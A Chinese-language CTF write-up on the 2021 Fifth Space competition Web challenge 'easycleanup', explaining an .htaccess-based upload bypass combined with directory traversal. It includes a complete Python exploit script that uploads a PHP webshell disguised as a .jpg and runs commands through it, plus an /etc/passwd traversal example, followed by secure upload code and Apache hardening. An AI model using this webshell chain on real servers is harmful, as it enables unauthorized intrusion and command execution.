2021第五空间智能安全大赛Web赛题easycleanup漏洞分析与实战利用

1次阅读
没有评论

共计 2588 个字符,预计需要花费 7 分钟才能阅读完成。

image.webp

背景分析

CTF 比赛中的 Web 题目通常考察选手对常见 Web 漏洞的理解和利用能力,包括但不限于 SQL 注入、文件上传漏洞、目录遍历、命令注入等。在 2021 第五空间智能安全大赛中,Web 赛题 easycleanup 主要考察了文件上传和目录遍历漏洞的组合利用。题目环境为一个简单的文件上传服务,预期漏洞类型为通过文件上传绕过和目录遍历获取服务器权限。

2021 第五空间智能安全大赛 Web 赛题 easycleanup 漏洞分析与实战利用

漏洞原理

文件上传过滤机制绕过

文件上传功能通常会检查文件扩展名、MIME 类型等,以防止恶意文件上传。然而,通过上传 .htaccess 文件,攻击者可以重新定义服务器对特定文件扩展名的处理方式。例如,可以配置服务器将 .jpg 文件当作 PHP 脚本来执行。

目录遍历漏洞

目录遍历漏洞允许攻击者访问服务器上本应受限的文件或目录。在本题中,通过构造特殊的文件路径(如../../../etc/passwd),可以读取服务器上的敏感文件。

攻击链构造

  1. 上传恶意 .htaccess 文件,配置服务器将 .jpg 文件当作 PHP 脚本执行。
  2. 上传包含 PHP 代码的 .jpg 文件,通过目录遍历漏洞访问该文件,触发代码执行。
  3. 利用代码执行获取服务器 shell,进一步提权或获取 flag。

以下是完整的 Python 自动化利用脚本:

import requests
import logging

# 配置日志记录
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

# 目标 URL
TARGET_URL = "http://example.com/upload"

# 上传.htaccess 文件
htaccess_content = "AddType application/x-httpd-php .jpg"
files = {'file': ('.htaccess', htaccess_content, 'text/plain')}
try:
    response = requests.post(TARGET_URL, files=files)
    if response.status_code == 200:
        logging.info(".htaccess 文件上传成功")
    else:
        logging.error(".htaccess 文件上传失败")
except Exception as e:
    logging.error(f"上传.htaccess 文件时发生错误: {e}")

# 上传恶意.jpg 文件
malicious_php = "<?php system($_GET['cmd']); ?>"
files = {'file': ('shell.jpg', malicious_php, 'image/jpeg')}
try:
    response = requests.post(TARGET_URL, files=files)
    if response.status_code == 200:
        logging.info("恶意.jpg 文件上传成功")
    else:
        logging.error("恶意.jpg 文件上传失败")
except Exception as e:
    logging.error(f"上传恶意.jpg 文件时发生错误: {e}")

# 触发代码执行
cmd = "ls -la"
exploit_url = f"{TARGET_URL}/../uploads/shell.jpg?cmd={cmd}"
try:
    response = requests.get(exploit_url)
    if response.status_code == 200:
        logging.info(f"命令执行结果: {response.text}")
    else:
        logging.error("命令执行失败")
except Exception as e:
    logging.error(f"执行命令时发生错误: {e}")

防御方案

安全的文件上传实现(PHP 示例)

<?php
$allowed_extensions = array('jpg', 'png', 'gif');
$upload_dir = 'uploads/';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {$file = $_FILES['file'];
    $file_name = basename($file['name']);
    $file_ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));

    // 检查文件扩展名
    if (!in_array($file_ext, $allowed_extensions)) {die("不允许的文件类型");
    }

    // 生成随机文件名
    $new_file_name = uniqid() . '.' . $file_ext;
    $upload_path = $upload_dir . $new_file_name;

    // 移动文件
    if (move_uploaded_file($file['tmp_name'], $upload_path)) {echo "文件上传成功";} else {echo "文件上传失败";}
}
?>

服务器配置加固(Apache)

# 禁止.htaccess 文件覆盖
AllowOverride None

# 限制目录遍历
Options -Indexes

# 限制文件类型
<FilesMatch "\.(htaccess|htpasswd|ini|phps|fla|psd|log|sh)$">
    Order Allow,Deny
    Deny from all
</FilesMatch>

避坑指南

  1. 未限制文件上传类型:仅检查客户端提供的 MIME 类型或文件扩展名,未在服务器端进行验证。
  2. 未禁用危险的服务器功能 :如未禁用 PHP 的systemexec 等函数。
  3. 未设置正确的文件权限:上传目录设置了可执行权限,导致上传的文件可以被执行。

延伸思考

  1. 如何在不依赖文件上传功能的情况下,利用目录遍历漏洞获取服务器权限?
  2. 在防御文件上传漏洞时,除了检查文件扩展名和 MIME 类型,还有哪些有效的防护措施?

总结

通过分析 easycleanup 赛题,我们深入理解了文件上传和目录遍历漏洞的原理及利用方式。在实际开发中,开发者应严格验证文件上传内容,并合理配置服务器权限,以防止类似漏洞的发生。希望本文能帮助读者更好地理解 Web 安全攻防实战技巧。

正文完
 0
评论(没有评论)